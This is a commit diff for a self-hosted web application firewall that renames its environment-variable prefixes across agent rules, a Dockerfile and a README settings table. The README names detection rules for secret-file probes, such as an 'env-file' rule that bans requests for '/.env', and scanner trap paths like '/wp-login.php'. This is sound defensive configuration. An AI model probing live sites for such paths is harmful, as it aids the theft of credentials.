Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 sneak
|
e422a5b10d |
No files matched your search
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
|
||||
- Secrets belong in POST data. An app that puts a secret in a query string
|
||||
is fixed in the app.
|
||||
- Never propose redacting a query string, Gitea's `?token=` included.
|
||||
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||
- The set is:
|
||||
- `10.0.0.0/8`;
|
||||
- `172.16.0.0/12`;
|
||||
|
||||
+3
-3
@@ -221,12 +221,12 @@ RUN groupadd --system --gid 65532 sww \
|
||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||
sww
|
||||
|
||||
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
|
||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||
# is mounted to keep them across deploys. At each start of waf, the run
|
||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
||||
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
||||
RUN mkdir /var/lib/sww
|
||||
|
||||
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
|
||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||
# built FROM this image can copy rule files of its own beside it.
|
||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||
|
||||
|
||||
@@ -12,8 +12,7 @@ shipped in one image, with two commands that do this together:
|
||||
|
||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||
passes the app's answers back. It keeps nothing between requests and writes
|
||||
nothing to disk.
|
||||
passes the app's answers back. It keeps nothing and never touches disk.
|
||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||
each client's history. One `waf` serves many sites: a client banned through
|
||||
one site is refused on all of them, and its requests on all of them count
|
||||
@@ -91,9 +90,8 @@ accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
||||
The usual setup is three containers on one private network:
|
||||
|
||||
- the app;
|
||||
- `rproxy`, in front of the app, which traefik routes to:
|
||||
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
|
||||
app;
|
||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||
files.
|
||||
|
||||
@@ -102,8 +100,8 @@ Point traefik's labels at port 8080 of `rproxy`
|
||||
of the app or of `waf`. Anything on that network can reach the app around
|
||||
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||
Each further app adds its own container and its own `rproxy`, whose
|
||||
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
|
||||
below shows this shape.
|
||||
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
||||
shows this shape.
|
||||
|
||||
### `rproxy` in the app's container
|
||||
|
||||
@@ -116,7 +114,7 @@ digest, and adds:
|
||||
- the packages the app needs, from the nixpkgs in the image;
|
||||
- a user for the app;
|
||||
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
||||
of `SWW_RPROXY_UPSTREAM_URL`.
|
||||
of `SWRP_UPSTREAM_URL`.
|
||||
|
||||
```dockerfile
|
||||
# The smallwebwaf image, pinned by digest.
|
||||
@@ -152,8 +150,8 @@ main "$@"
|
||||
|
||||
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
||||
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
||||
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
||||
an app, and the "`rproxy` beside the app" example below runs one.
|
||||
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
|
||||
app, and the "`rproxy` beside the app" example below runs one.
|
||||
|
||||
The app sees the headers traefik sent, with traefik's address added to
|
||||
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||
@@ -172,13 +170,12 @@ does.
|
||||
- A request to the site through traefik gets the app's answer.
|
||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||
request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `waf` with
|
||||
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`waf`'s log lines have `"would_action":"temporarily_banned"` and
|
||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||
"Clients and bans" below describes.
|
||||
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
|
||||
on `waf`'s network:
|
||||
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
||||
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
||||
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
||||
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||
`waf`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||
the whole exchange (see "Entrypoints").
|
||||
@@ -186,17 +183,18 @@ does.
|
||||
## Configuration
|
||||
|
||||
Every setting is an environment variable, read once at start; changing one means
|
||||
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
|
||||
`waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a
|
||||
default, chosen for a service on the open internet. A setting that needs an
|
||||
account, a key, a token or an alert destination stays off until you give one.
|
||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
||||
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
||||
for a service on the open internet. A setting that needs an account, a key, a
|
||||
token or an alert destination stays off until you give one.
|
||||
|
||||
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
|
||||
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
|
||||
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
|
||||
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
|
||||
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
|
||||
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
|
||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||
contents are the value, less one newline at the end. Setting both forms stops
|
||||
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
||||
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
||||
one, since `rproxy` never touches disk.
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||
1024: `512K`, `100M`, `5G`.
|
||||
@@ -212,9 +210,8 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
setting takes it.
|
||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||
app's response bodies, the visitors' request bodies, or both, as
|
||||
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
|
||||
over a WebSocket counts as request bytes, and what the app sent as response
|
||||
bytes.
|
||||
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
||||
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
- An invalid setting stops the process at start with one log line naming the
|
||||
variable and what is wrong with the value. The settings in effect are logged
|
||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||
@@ -222,124 +219,124 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
Every setting the code reads, with its default:
|
||||
|
||||
| Variable | Default | What it does |
|
||||
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
|
||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
|
||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
